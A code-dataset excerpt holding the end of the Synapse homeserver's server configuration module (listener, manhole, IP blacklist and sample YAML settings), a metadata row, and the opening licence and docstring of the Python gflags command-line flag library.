self.mau_appservice_trial_days = config.get("mau_appservice_trial_days", {}) self.mau_limit_alerting = config.get("mau_limit_alerting", True) redaction_retention_period = config.get("redaction_retention_period", "7d") if redaction_retention_period is not None: self.redaction_retention_period: Optional[int] = self.parse_duration( redaction_retention_period ) else: self.redaction_retention_period = None user_ips_max_age = config.get("user_ips_max_age", "28d") if user_ips_max_age is not None: self.user_ips_max_age: Optional[int] = self.parse_duration(user_ips_max_age) else: self.user_ips_max_age = None self.hs_disabled = config.get("hs_disabled", False) self.hs_disabled_message = config.get("hs_disabled_message", "") self.admin_contact = config.get("admin_contact", None) ip_range_blacklist = config.get( "ip_range_blacklist", DEFAULT_IP_RANGE_BLACKLIST ) self.ip_range_blacklist = generate_ip_set( ip_range_blacklist, ["0.0.0.0", "::"], config_path=("ip_range_blacklist",) ) self.ip_range_whitelist = generate_ip_set( config.get("ip_range_whitelist", ()), config_path=("ip_range_whitelist",) ) if "federation_ip_range_blacklist" in config: self.federation_ip_range_blacklist = generate_ip_set( config["federation_ip_range_blacklist"], ["0.0.0.0", "::"], config_path=("federation_ip_range_blacklist",), ) self.federation_ip_range_whitelist = None else: self.federation_ip_range_blacklist = self.ip_range_blacklist self.federation_ip_range_whitelist = self.ip_range_whitelist self.replication_torture_level = config.get("replication_torture_level") self.require_membership_for_aliases = config.get( "require_membership_for_aliases", True ) self.allow_per_room_profiles = config.get("allow_per_room_profiles", True) # The maximum size an avatar can have, in bytes. self.max_avatar_size = config.get("max_avatar_size") if self.max_avatar_size is not None: self.max_avatar_size = self.parse_size(self.max_avatar_size) # The MIME types allowed for an avatar. self.allowed_avatar_mimetypes = config.get("allowed_avatar_mimetypes") if self.allowed_avatar_mimetypes and not isinstance( self.allowed_avatar_mimetypes, list, ): raise ConfigError("allowed_avatar_mimetypes must be a list") self.listeners = [parse_listener_def(x) for x in config.get("listeners", [])] # no_tls is not really supported any more, but let's grandfather it in if config.get("no_tls", False): l2 = [] for listener in self.listeners: if listener.tls: logger.info( "Ignoring TLS-enabled listener on port %i due to no_tls", listener.port, ) else: l2.append(listener) self.listeners = l2 self.web_client_location = config.get("web_client_location", None) if self.web_client_location and not ( self.web_client_location.startswith("http://") or self.web_client_location.startswith("https://") ): raise ConfigError("web_client_location must point to a HTTP(S) URL.") self.gc_thresholds = read_gc_thresholds(config.get("gc_thresholds", None)) self.gc_seconds = self.read_gc_intervals(config.get("gc_min_interval", None)) self.limit_remote_rooms = LimitRemoteRoomsConfig( **(config.get("limit_remote_rooms") or {}) ) bind_port = config.get("bind_port") if bind_port: if config.get("no_tls", False): raise ConfigError("no_tls is incompatible with bind_port") self.listeners = [] bind_host = config.get("bind_host", "") gzip_responses = config.get("gzip_responses", True) http_options = HttpListenerConfig( resources=[ HttpResourceConfig(names=["client"], compress=gzip_responses), HttpResourceConfig(names=["federation"]), ], ) self.listeners.append( ListenerConfig( port=bind_port, bind_addresses=[bind_host], tls=True, type="http", http_options=http_options, ) ) unsecure_port = config.get("unsecure_port", bind_port - 400) if unsecure_port: self.listeners.append( ListenerConfig( port=unsecure_port, bind_addresses=[bind_host], tls=False, type="http", http_options=http_options, ) ) manhole = config.get("manhole") if manhole: self.listeners.append( ListenerConfig( port=manhole, bind_addresses=["127.0.0.1"], type="manhole", ) ) manhole_settings = config.get("manhole_settings") or {} validate_config( _MANHOLE_SETTINGS_SCHEMA, manhole_settings, ("manhole_settings",) ) manhole_username = manhole_settings.get("username", "matrix") manhole_password = manhole_settings.get("password", "rabbithole") manhole_priv_key_path = manhole_settings.get("ssh_priv_key_path") manhole_pub_key_path = manhole_settings.get("ssh_pub_key_path") manhole_priv_key = None if manhole_priv_key_path is not None: try: manhole_priv_key = Key.fromFile(manhole_priv_key_path) except Exception as e: raise ConfigError( f"Failed to read manhole private key file {manhole_priv_key_path}" ) from e manhole_pub_key = None if manhole_pub_key_path is not None: try: manhole_pub_key = Key.fromFile(manhole_pub_key_path) except Exception as e: raise ConfigError( f"Failed to read manhole public key file {manhole_pub_key_path}" ) from e self.manhole_settings = ManholeConfig( username=manhole_username, password=manhole_password, priv_key=manhole_priv_key, pub_key=manhole_pub_key, ) metrics_port = config.get("metrics_port") if metrics_port: logger.warning(METRICS_PORT_WARNING) self.listeners.append( ListenerConfig( port=metrics_port, bind_addresses=[config.get("metrics_bind_host", "127.0.0.1")], type="http", http_options=HttpListenerConfig( resources=[HttpResourceConfig(names=["metrics"])] ), ) ) self.cleanup_extremities_with_dummy_events = config.get( "cleanup_extremities_with_dummy_events", True ) self.dummy_events_threshold = config.get("dummy_events_threshold", 10) self.enable_ephemeral_messages = config.get("enable_ephemeral_messages", False) self.request_token_inhibit_3pid_errors = config.get( "request_token_inhibit_3pid_errors", False, ) # Whitelist of domain names that given next_link parameters must have next_link_domain_whitelist: Optional[List[str]] = config.get( "next_link_domain_whitelist" ) self.next_link_domain_whitelist: Optional[Set[str]] = None if next_link_domain_whitelist is not None: if not isinstance(next_link_domain_whitelist, list): raise ConfigError("'next_link_domain_whitelist' must be a list") # Turn the list into a set to improve lookup speed. self.next_link_domain_whitelist = set(next_link_domain_whitelist) templates_config = config.get("templates") or {} if not isinstance(templates_config, dict): raise ConfigError("The 'templates' section must be a dictionary") self.custom_template_directory: Optional[str] = templates_config.get( "custom_template_directory" ) if self.custom_template_directory is not None and not isinstance( self.custom_template_directory, str ): raise ConfigError("'custom_template_directory' must be a string") self.use_account_validity_in_account_status: bool = ( config.get("use_account_validity_in_account_status") or False ) self.rooms_to_exclude_from_sync: List[str] = ( config.get("exclude_rooms_from_sync") or [] ) def has_tls_listener(self) -> bool: return any(listener.tls for listener in self.listeners) def generate_config_section( self, config_dir_path: str, data_dir_path: str, server_name: str, open_private_ports: bool, listeners: Optional[List[dict]], **kwargs: Any, ) -> str: ip_range_blacklist = "\n".join( " # - '%s'" % ip for ip in DEFAULT_IP_RANGE_BLACKLIST ) _, bind_port = parse_and_validate_server_name(server_name) if bind_port is not None: unsecure_port = bind_port - 400 else: bind_port = 8448 unsecure_port = 8008 pid_file = os.path.join(data_dir_path, "homeserver.pid") # Bring DEFAULT_ROOM_VERSION into the local-scope for use in the # default config string default_room_version = DEFAULT_ROOM_VERSION secure_listeners = [] unsecure_listeners = [] private_addresses = ["::1", "127.0.0.1"] if listeners: for listener in listeners: if listener["tls"]: secure_listeners.append(listener) else: # If we don't want open ports we need to bind the listeners # however. if not open_private_ports: listener.setdefault("bind_addresses", private_addresses) unsecure_listeners.append(listener) secure_http_bindings = indent( yaml.dump(secure_listeners), " " * 10 ).lstrip() unsecure_http_bindings = indent( yaml.dump(unsecure_listeners), " " * 10 ).lstrip() if not unsecure_listeners: unsecure_http_bindings = ( """- port: %(unsecure_port)s tls: false type: http x_forwarded: true""" % locals() ) if not open_private_ports: unsecure_http_bindings += ( "\n bind_addresses: ['::1', '127.0.0.1']" ) unsecure_http_bindings += """ resources: - names: [client, federation] compress: false""" if listeners: # comment out this block unsecure_http_bindings = "#" + re.sub( "\n {10}", lambda match: match.group(0) + "#", unsecure_http_bindings, ) if not secure_listeners: secure_http_bindings = ( """#- port: %(bind_port)s # type: http # tls: true # resources: # - names: [client, federation]""" % locals() ) return ( """\ ## Server ## # The public-facing domain of the server # # The server_name name will appear at the end of usernames and room addresses # created on this server. For example if the server_name was example.com, # usernames on this server would be in the format @user:example.com # # In most cases you should avoid using a matrix specific subdomain such as # matrix.example.com or synapse.example.com as the server_name for the same # reasons you wouldn't use user@email.example.com as your email address. # See https://matrix-org.github.io/synapse/latest/delegate.html # for information on how to host Synapse on a subdomain while preserving # a clean server_name. # # The server_name cannot be changed later so it is important to # configure this correctly before you start Synapse. It should be all # lowercase and may contain an explicit port. # Examples: matrix.org, localhost:8080 # server_name: "%(server_name)s" # When running as a daemon, the file to store the pid in # pid_file: %(pid_file)s # The absolute URL to the web client which / will redirect to. # #web_client_location: https://riot.example.com/ # The public-facing base URL that clients use to access this Homeserver (not # including _matrix/...). This is the same URL a user might enter into the # 'Custom Homeserver URL' field on their client. If you use Synapse with a # reverse proxy, this should be the URL to reach Synapse via the proxy. # Otherwise, it should be the URL to reach Synapse's client HTTP listener (see # 'listeners' below). # # Defaults to 'https://<server_name>/'. # #public_baseurl: https://example.com/ # Uncomment the following to tell other servers to send federation traffic on # port 443. # # By default, other servers will try to reach our server on port 8448, which can # be inconvenient in some environments. # # Provided 'https://<server_name>/' on port 443 is routed to Synapse, this # option configures Synapse to serve a file at # 'https://<server_name>/.well-known/matrix/server'. This will tell other # servers to send traffic to port 443 instead. # # See https://matrix-org.github.io/synapse/latest/delegate.html for more # information. # # Defaults to 'false'. # #serve_server_wellknown: true # Set the soft limit on the number of file descriptors synapse can use # Zero is used to indicate synapse should set the soft limit to the # hard limit. # #soft_file_limit: 0 # Presence tracking allows users to see the state (e.g online/offline) # of other local and remote users. # presence: # Uncomment to disable presence tracking on this homeserver. This option # replaces the previous top-level 'use_presence' option. # #enabled: false # Whether to require authentication to retrieve profile data (avatars, # display names) of other users through the client API. Defaults to # 'false'. Note that profile data is also available via the federation # API, unless allow_profile_lookup_over_federation is set to false. # #require_auth_for_profile_requests: true # Uncomment to require a user to share a room with another user in order # to retrieve their profile information. Only checked on Client-Server # requests. Profile requests from other servers should be checked by the # requesting server. Defaults to 'false'. # #limit_profile_requests_to_users_who_share_rooms: true # Uncomment to prevent a user's profile data from being retrieved and # displayed in a room until they have joined it. By default, a user's # profile data is included in an invite event, regardless of the values # of the above two settings, and whether or not the users share a server. # Defaults to 'true'. # #include_profile_data_on_invite: false # If set to 'true', removes the need for authentication to access the server's # public rooms directory through the client API, meaning that anyone can # query the room directory. Defaults to 'false'. # #allow_public_rooms_without_auth: true # If set to 'true', allows any other homeserver to fetch the server's public # rooms directory via federation. Defaults to 'false'. # #allow_public_rooms_over_federation: true # The default room version for newly created rooms. # # Known room versions are listed here: # https://spec.matrix.org/latest/rooms/#complete-list-of-room-versions # # For example, for room version 1, default_room_version should be set # to "1". # #default_room_version: "%(default_room_version)s" # The GC threshold parameters to pass to `gc.set_threshold`, if defined # #gc_thresholds: [700, 10, 10] # The minimum time in seconds between each GC for a generation, regardless of # the GC thresholds. This ensures that we don't do GC too frequently. # # A value of `[1s, 10s, 30s]` indicates that a second must pass between consecutive # generation 0 GCs, etc. # # Defaults to `[1s, 10s, 30s]`. # #gc_min_interval: [0.5s, 30s, 1m] # Set the limit on the returned events in the timeline in the get # and sync operations. The default value is 100. -1 means no upper limit. # # Uncomment the following to increase the limit to 5000. # #filter_timeline_limit: 5000 # Whether room invites to users on this server should be blocked # (except those sent by local server admins). The default is False. # #block_non_admin_invites: true # Room searching # # If disabled, new messages will not be indexed for searching and users # will receive errors when searching for messages. Defaults to enabled. # #enable_search: false # Prevent outgoing requests from being sent to the following blacklisted IP address # CIDR ranges. If this option is not specified then it defaults to private IP # address ranges (see the example below). # # The blacklist applies to the outbound requests for federation, identity servers, # push servers, and for checking key validity for third-party invite events. # # (0.0.0.0 and :: are always blacklisted, whether or not they are explicitly # listed here, since they correspond to unroutable addresses.) # # This option replaces federation_ip_range_blacklist in Synapse v1.25.0. # # Note: The value is ignored when an HTTP proxy is in use # #ip_range_blacklist: %(ip_range_blacklist)s # List of IP address CIDR ranges that should be allowed for federation, # identity servers, push servers, and for checking key validity for # third-party invite events. This is useful for specifying exceptions to # wide-ranging blacklisted target IP ranges - e.g. for communication with # a push server only visible in your network. # # This whitelist overrides ip_range_blacklist and defaults to an empty # list. # #ip_range_whitelist: # - '192.168.1.1' # List of ports that Synapse should listen on, their purpose and their # configuration. # # Options for each listener include: # # port: the TCP port to bind to # # bind_addresses: a list of local addresses to listen on. The default is # 'all local interfaces'. # # type: the type of listener. Normally 'http', but other valid options are: # 'manhole' (see https://matrix-org.github.io/synapse/latest/manhole.html), # 'metrics' (see https://matrix-org.github.io/synapse/latest/metrics-howto.html), # 'replication' (see https://matrix-org.github.io/synapse/latest/workers.html). # # tls: set to true to enable TLS for this listener. Will use the TLS # key/cert specified in tls_private_key_path / tls_certificate_path. # # x_forwarded: Only valid for an 'http' listener. Set to true to use the # X-Forwarded-For header as the client IP. Useful when Synapse is # behind a reverse-proxy. # # resources: Only valid for an 'http' listener. A list of resources to host # on this port. Options for each resource are: # # names: a list of names of HTTP resources. See below for a list of # valid resource names. # # compress: set to true to enable HTTP compression for this resource. # # additional_resources: Only valid for an 'http' listener. A map of # additional endpoints which should be loaded via dynamic modules. # # Valid resource names are: # # client: the client-server API (/_matrix/client), and the synapse admin # API (/_synapse/admin). Also implies 'media' and 'static'. # # consent: user consent forms (/_matrix/consent). # See https://matrix-org.github.io/synapse/latest/consent_tracking.html. # # federation: the server-server API (/_matrix/federation). Also implies # 'media', 'keys', 'openid' # # keys: the key discovery API (/_matrix/key). # # media: the media API (/_matrix/media). # # metrics: the metrics interface. # See https://matrix-org.github.io/synapse/latest/metrics-howto.html. # # openid: OpenID authentication. # # replication: the HTTP replication API (/_synapse/replication). # See https://matrix-org.github.io/synapse/latest/workers.html. # # static: static resources under synapse/static (/_matrix/static). (Mostly # useful for 'fallback authentication'.) # listeners: # TLS-enabled listener: for when matrix traffic is sent directly to synapse. # # Disabled by default. To enable it, uncomment the following. (Note that you # will also need to give Synapse a TLS key and certificate: see the TLS section # below.) # %(secure_http_bindings)s # Unsecure HTTP listener: for when matrix traffic passes through a reverse proxy # that unwraps TLS. # # If you plan to use a reverse proxy, please see # https://matrix-org.github.io/synapse/latest/reverse_proxy.html. # %(unsecure_http_bindings)s # example additional_resources: # #additional_resources: # "/_matrix/my/custom/endpoint": # module: my_module.CustomRequestHandler # config: {} # Turn on the twisted ssh manhole service on localhost on the given # port. # #- port: 9000 # bind_addresses: ['::1', '127.0.0.1'] # type: manhole # Connection settings for the manhole # manhole_settings: # The username for the manhole. This defaults to 'matrix'. # #username: manhole # The password for the manhole. This defaults to 'rabbithole'. # #password: mypassword # The private and public SSH key pair used to encrypt the manhole traffic. # If these are left unset, then hardcoded and non-secret keys are used, # which could allow traffic to be intercepted if sent over a public network. # #ssh_priv_key_path: %(config_dir_path)s/id_rsa #ssh_pub_key_path: %(config_dir_path)s/id_rsa.pub # Forward extremities can build up in a room due to networking delays between # homeservers. Once this happens in a large room, calculation of the state of # that room can become quite expensive. To mitigate this, once the number of # forward extremities reaches a given threshold, Synapse will send an # org.matrix.dummy_event event, which will reduce the forward extremities # in the room. # # This setting defines the threshold (i.e. number of forward extremities in the # room) at which dummy events are sent. The default value is 10. # #dummy_events_threshold: 5 ## Homeserver blocking ## # How to reach the server admin, used in ResourceLimitError # #admin_contact: 'mailto:admin@server.com' # Global blocking # #hs_disabled: false #hs_disabled_message: 'Human readable reason for why the HS is blocked' # Monthly Active User Blocking # # Used in cases where the admin or server owner wants to limit to the # number of monthly active users. # # 'limit_usage_by_mau' disables/enables monthly active user blocking. When # enabled and a limit is reached the server returns a 'ResourceLimitError' # with error type Codes.RESOURCE_LIMIT_EXCEEDED # # 'max_mau_value' is the hard limit of monthly active users above which # the server will start blocking user actions. # # 'mau_trial_days' is a means to add a grace period for active users. It # means that users must be active for this number of days before they # can be considered active and guards against the case where lots of users # sign up in a short space of time never to return after their initial # session. # # The option `mau_appservice_trial_days` is similar to `mau_trial_days`, but # applies a different trial number if the user was registered by an appservice. # A value of 0 means no trial days are applied. Appservices not listed in this # dictionary use the value of `mau_trial_days` instead. # # 'mau_limit_alerting' is a means of limiting client side alerting # should the mau limit be reached. This is useful for small instances # where the admin has 5 mau seats (say) for 5 specific people and no # interest increasing the mau limit further. Defaults to True, which # means that alerting is enabled # #limit_usage_by_mau: false #max_mau_value: 50 #mau_trial_days: 2 #mau_limit_alerting: false #mau_appservice_trial_days: # "appservice-id": 1 # If enabled, the metrics for the number of monthly active users will # be populated, however no one will be limited. If limit_usage_by_mau # is true, this is implied to be true. # #mau_stats_only: false # Sometimes the server admin will want to ensure certain accounts are # never blocked by mau checking. These accounts are specified here. # #mau_limit_reserved_threepids: # - medium: 'email' # address: 'reserved_user@example.com' # Used by phonehome stats to group together related servers. #server_context: context # Resource-constrained homeserver settings # # When this is enabled, the room "complexity" will be checked before a user # joins a new remote room. If it is above the complexity limit, the server will # disallow joining, or will instantly leave. # # Room complexity is an arbitrary measure based on factors such as the number of # users in the room. # limit_remote_rooms: # Uncomment to enable room complexity checking. # #enabled: true # the limit above which rooms cannot be joined. The default is 1.0. # #complexity: 0.5 # override the error which is returned when the room is too complex. # #complexity_error: "This room is too complex." # allow server admins to join complex rooms. Default is false. # #admins_can_join: true # Whether to require a user to be in the room to add an alias to it. # Defaults to 'true'. # #require_membership_for_aliases: false # Whether to allow per-room membership profiles through the send of membership # events with profile information that differ from the target's global profile. # Defaults to 'true'. # #allow_per_room_profiles: false # The largest allowed file size for a user avatar. Defaults to no restriction. # # Note that user avatar changes will not work if this is set without # using Synapse's media repository. # #max_avatar_size: 10M # The MIME types allowed for user avatars. Defaults to no restriction. # # Note that user avatar changes will not work if this is set without # using Synapse's media repository. # #allowed_avatar_mimetypes: ["image/png", "image/jpeg", "image/gif"] # How long to keep redacted events in unredacted form in the database. After # this period redacted events get replaced with their redacted form in the DB. # # Defaults to `7d`. Set to `null` to disable. # #redaction_retention_period: 28d # How long to track users' last seen time and IPs in the database. # # Defaults to `28d`. Set to `null` to disable clearing out of old rows. # #user_ips_max_age: 14d # Inhibits the /requestToken endpoints from returning an error that might leak # information about whether an e-mail address is in use or not on this # homeserver. # Note that for some endpoints the error situation is the e-mail already being # used, and for others the error is entering the e-mail being unused. # If this option is enabled, instead of returning an error, these endpoints will # act as if no error happened and return a fake session ID ('sid') to clients. # #request_token_inhibit_3pid_errors: true # A list of domains that the domain portion of 'next_link' parameters # must match. # # This parameter is optionally provided by clients while requesting # validation of an email or phone number, and maps to a link that # users will be automatically redirected to after validation # succeeds. Clients can make use this parameter to aid the validation # process. # # The whitelist is applied whether the homeserver or an # identity server is handling validation. # # The default value is no whitelist functionality; all domains are # allowed. Setting this value to an empty list will instead disallow # all domains. # #next_link_domain_whitelist: ["matrix.org"] # Templates to use when generating email or HTML page contents. # templates: # Directory in which Synapse will try to find template files to use to generate # email or HTML page contents. # If not set, or a file is not found within the template directory, a default # template from within the Synapse package will be used. # # See https://matrix-org.github.io/synapse/latest/templates.html for more # information about using custom templates. # #custom_template_directory: /path/to/custom/templates/ # List of rooms to exclude from sync responses. This is useful for server # administrators wishing to group users into a room without these users being able # to see it from their client. # # By default, no room is excluded. # #exclude_rooms_from_sync: # - !foo:example.com """ % locals() ) def read_arguments(self, args: argparse.Namespace) -> None: if args.manhole is not None: self.manhole = args.manhole if args.daemonize is not None: self.daemonize = args.daemonize if args.print_pidfile is not None: self.print_pidfile = args.print_pidfile @staticmethod def add_arguments(parser: argparse.ArgumentParser) -> None: server_group = parser.add_argument_group("server") server_group.add_argument( "-D", "--daemonize", action="store_true", default=None, help="Daemonize the homeserver", ) server_group.add_argument( "--print-pidfile", action="store_true", default=None, help="Print the path to the pidfile just before daemonizing", ) server_group.add_argument( "--manhole", metavar="PORT", dest="manhole", type=int, help="Turn on the twisted telnet manhole service on the given port.", ) def read_gc_intervals(self, durations: Any) -> Optional[Tuple[float, float, float]]: if durations is None: return None try: if len(durations) != 3: raise ValueError() return ( self.parse_duration(durations[0]) / 1000, self.parse_duration(durations[1]) / 1000, self.parse_duration(durations[2]) / 1000, ) except Exception: raise ConfigError( "Value of `gc_min_interval` must be a list of three durations if set" ) def is_threepid_reserved( reserved_threepids: List[JsonDict], threepid: JsonDict ) -> bool: for tp in reserved_threepids: if threepid["medium"] == tp["medium"] and threepid["address"] == tp["address"]: return True return False def read_gc_thresholds( thresholds: Optional[List[Any]], ) -> Optional[Tuple[int, int, int]]: if thresholds is None: return None try: assert len(thresholds) == 3 return int(thresholds[0]), int(thresholds[1]), int(thresholds[2]) except Exception: raise ConfigError( "Value of `gc_threshold` must be a list of three integers if set" ) def parse_listener_def(listener: Any) -> ListenerConfig: listener_type = listener["type"] port = listener.get("port") if not isinstance(port, int): raise ConfigError("Listener configuration is lacking a valid 'port' option") tls = listener.get("tls", False) bind_addresses = listener.get("bind_addresses", []) bind_address = listener.get("bind_address") if bind_address: bind_addresses.append(bind_address) if not bind_addresses: if listener_type == "metrics": bind_addresses.append("0.0.0.0") else: bind_addresses.extend(DEFAULT_BIND_ADDRESSES) http_config = None if listener_type == "http": try: resources = [ HttpResourceConfig(**res) for res in listener.get("resources", []) ] except ValueError as e: raise ConfigError("Unknown listener resource") from e http_config = HttpListenerConfig( x_forwarded=listener.get("x_forwarded", False), resources=resources, additional_resources=listener.get("additional_resources", {}), tag=listener.get("tag"), ) return ListenerConfig(port, bind_addresses, listener_type, tls, http_config) _MANHOLE_SETTINGS_SCHEMA = { "type": "object", "properties": { "username": {"type": "string"}, "password": {"type": "string"}, "ssh_priv_key_path": {"type": "string"}, "ssh_pub_key_path": {"type": "string"}, }, }
true
true
f73d5e2af3530ee880cf4fc95043a8fa3d7d60f7
104,466
py
Python
lib/gflags.py
lakshaysethi/videonotes
5b3d969d5f41514b9fc8a470e3ec5bad50414573
[ "MIT" ]
null
null
null
lib/gflags.py
lakshaysethi/videonotes
5b3d969d5f41514b9fc8a470e3ec5bad50414573
[ "MIT" ]
null
null
null
lib/gflags.py
lakshaysethi/videonotes
5b3d969d5f41514b9fc8a470e3ec5bad50414573
[ "MIT" ]
null
null
null
#!/usr/bin/env python # # Copyright (c) 2002, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # --- # Author: Chad Lester # Design and style contributions by: # Amit Patel, Bogdan Cocosel, Daniel Dulitz, Eric Tiedemann, # Eric Veach, Laurence Gonsalves, Matthew Springer # Code reorganized a bit by Craig Silverstein """This module is used to define and parse command line flags. This module defines a *distributed* flag-definition policy: rather than an application having to define all flags in or near main(), each python module defines flags that are useful to it. When one python module imports another, it gains access to the other's flags. (This is implemented by having all modules share a common, global registry object containing all the flag information.) Flags are defined through the use of one of the DEFINE_xxx functions. The specific function used determines how the flag is parsed, checked, and optionally type-converted, when it's seen on the command line. IMPLEMENTATION: DEFINE_* creates a 'Flag' object and registers it with a 'FlagValues' object (typically the global FlagValues FLAGS, defined here). The 'FlagValues' object can scan the command line arguments and pass flag arguments to the corresponding 'Flag' objects for value-checking and type conversion. The converted flag values are available as attributes of the 'FlagValues' object. Code can access the flag through a FlagValues object, for instance gflags.FLAGS.myflag. Typically, the __main__ module passes the command line arguments to gflags.FLAGS for parsing. At bottom, this module calls getopt(), so getopt functionality is supported, including short- and long-style flags, and the use of -- to terminate flags. Methods defined by the flag module will throw 'FlagsError' exceptions. The exception argument will be a human-readable string. FLAG TYPES: This is a list of the DEFINE_*'s that you can do. All flags take a name, default value, help-string, and optional 'short' name (one-letter name). Some flags have other arguments, which are described with the flag. DEFINE_string: takes any input, and interprets it as a string. DEFINE_bool or DEFINE_boolean: typically does not take an argument: say --myflag to set FLAGS.myflag to true, or --nomyflag to set FLAGS.myflag to false. Alternately, you can say --myflag=true or --myflag=t or --myflag=1 or --myflag=false or --myflag=f or --myflag=0 DEFINE_float: takes an input and interprets it as a floating point number. Takes optional args lower_bound and upper_bound; if the number specified on the command line is out of range, it will raise a FlagError. DEFINE_integer: takes an input and interprets it as an integer. Takes optional args lower_bound and upper_bound as for floats. DEFINE_enum: takes a list of strings which represents legal values. If the command-line value is not in this list, raise a flag error. Otherwise, assign to FLAGS.flag as a string. DEFINE_list: Takes a comma-separated list of strings on the commandline. Stores them in a python list object. DEFINE_spaceseplist: Takes a space-separated list of strings on the commandline. Stores them in a python list object. Example: --myspacesepflag "foo bar baz" DEFINE_multistring: The same as DEFINE_string, except the flag can be specified more than once on the commandline. The result is a python list object (list of strings), even if the flag is only on the command line once. DEFINE_multi_int: The same as DEFINE_integer, except the flag can be specified more than once on the commandline. The result is a python list object (list of ints), even if the flag is only on the command line once. SPECIAL FLAGS: There are a few flags that have special meaning: --help prints a list of all the flags in a human-readable fashion --helpshort prints a list of all key flags (see below). --helpxml prints a list of all flags, in XML format. DO NOT parse the output of --help and --helpshort. Instead, parse the output of --helpxml. For more info, see "OUTPUT FOR --helpxml" below. --flagfile=foo read flags from file foo. --undefok=f1,f2 ignore unrecognized option errors for f1,f2. For boolean flags, you should use --undefok=boolflag, and --boolflag and --noboolflag will be accepted. Do not use --undefok=noboolflag. -- as in getopt(), terminates flag-processing FLAGS VALIDATORS: If your program: - requires flag X to be specified - needs flag Y to match a regular expression - or requires any more general constraint to be satisfied then validators are for you! Each validator represents a constraint over one flag, which is enforced starting from the initial parsing of the flags and until the program terminates. Also, lower_bound and upper_bound for numerical flags are enforced using flag validators. Howto: If you want to enforce a constraint over one flag, use gflags.RegisterValidator(flag_name, checker, message='Flag validation failed', flag_values=FLAGS) After flag values are initially parsed, and after any change to the specified flag, method checker(flag_value) will be executed. If constraint is not satisfied, an IllegalFlagValue exception will be raised. See RegisterValidator's docstring for a detailed explanation on how to construct your own checker. EXAMPLE USAGE: FLAGS = gflags.FLAGS gflags.DEFINE_integer('my_version', 0, 'Version number.') gflags.DEFINE_string('filename', None, 'Input file name', short_name='f') gflags.RegisterValidator('my_version', lambda value: value % 2 == 0, message='--my_version must be divisible by 2') gflags.MarkFlagAsRequired('filename') NOTE ON --flagfile: Flags may be loaded from text files in addition to being specified on the commandline. Any flags you don't feel like typing, throw them in a file, one flag per line, for instance: --myflag=myvalue --nomyboolean_flag You then specify your file with the special flag '--flagfile=somefile'. You CAN recursively nest flagfile= tokens OR use multiple files on the command line. Lines beginning with a single hash '#' or a double slash '//' are comments in your flagfile. Any flagfile=<file> will be interpreted as having a relative path from the current working directory rather than from the place the file was included from: myPythonScript.py --flagfile=config/somefile.cfg If somefile.cfg includes further --flagfile= directives, these will be referenced relative to the original CWD, not from the directory the including flagfile was found in! The caveat applies to people who are including a series of nested files in a different dir than they are executing out of. Relative path names are always from CWD, not from the directory of the parent include flagfile. We do now support '~' expanded directory names. Absolute path names ALWAYS work! EXAMPLE USAGE: FLAGS = gflags.FLAGS # Flag names are globally defined! So in general, we need to be # careful to pick names that are unlikely to be used by other libraries. # If there is a conflict, we'll get an error at import time. gflags.DEFINE_string('name', 'Mr. President', 'your name') gflags.DEFINE_integer('age', None, 'your age in years', lower_bound=0) gflags.DEFINE_boolean('debug', False, 'produces debugging output') gflags.DEFINE_enum('gender', 'male', ['male', 'female'], 'your gender') def main(argv): try: argv = FLAGS(argv) # parse flags except gflags.FlagsError, e: print '%s\\nUsage: %s ARGS\\n%s' % (e, sys.argv[0], FLAGS) sys.exit(1) if FLAGS.debug: print 'non-flag arguments:', argv print 'Happy Birthday', FLAGS.name if FLAGS.age is not None: print 'You are a %d year old %s' % (FLAGS.age, FLAGS.gender) if __name__ == '__main__': main(sys.argv) KEY FLAGS: As we already explained, each module gains access to all flags defined by all the other modules it transitively imports. In the case of non-trivial scripts, this means a lot of flags ... For documentation purposes, it is good to identify the flags that are key (i.e., really important) to a module. Clearly, the concept of "key flag" is a subjective one. When trying to determine whether a flag is key to a module or not, assume that you are trying to explain your module to a potential user: which flags would you really like to mention first? We'll describe shortly how to declare which flags are key to a module. For the moment, assume we know the set of key flags for each module. Then, if you use the app.py module, you can use the --helpshort flag to print only the help for the flags that are key to the main module, in a human-readable format. NOTE: If you need to parse the flag help, do NOT use the output of --help / --helpshort. That output is meant for human consumption, and may be changed in the future. Instead, use --helpxml; flags that are key for the main module are marked there with a <key>yes</key> element. The set of key flags for a module M is composed of: 1. Flags defined by module M by calling a DEFINE_* function. 2. Flags that module M explictly declares as key by using the function DECLARE_key_flag(<flag_name>) 3. Key flags of other modules that M specifies by using the function ADOPT_module_key_flags(<other_module>) This is a "bulk" declaration of key flags: each flag that is key for <other_module> becomes key for the current module too. Notice that if you do not use the functions described at points 2 and 3 above, then --helpshort prints information only about the flags defined by the main module of our script. In many cases, this behavior is good enough. But if you move part of the main module code (together with the related flags) into a different module, then it is nice to use DECLARE_key_flag / ADOPT_module_key_flags and make sure --helpshort lists all relevant flags (otherwise, your code refactoring may confuse your users). Note: each of DECLARE_key_flag / ADOPT_module_key_flags has its own pluses and minuses: DECLARE_key_flag is more targeted and may lead a more focused --helpshort documentation. ADOPT_module_key_flags is good for cases when an entire module is considered key to the current script. Also, it does not require updates to client scripts when a new flag is added to the module. EXAMPLE USAGE 2 (WITH KEY 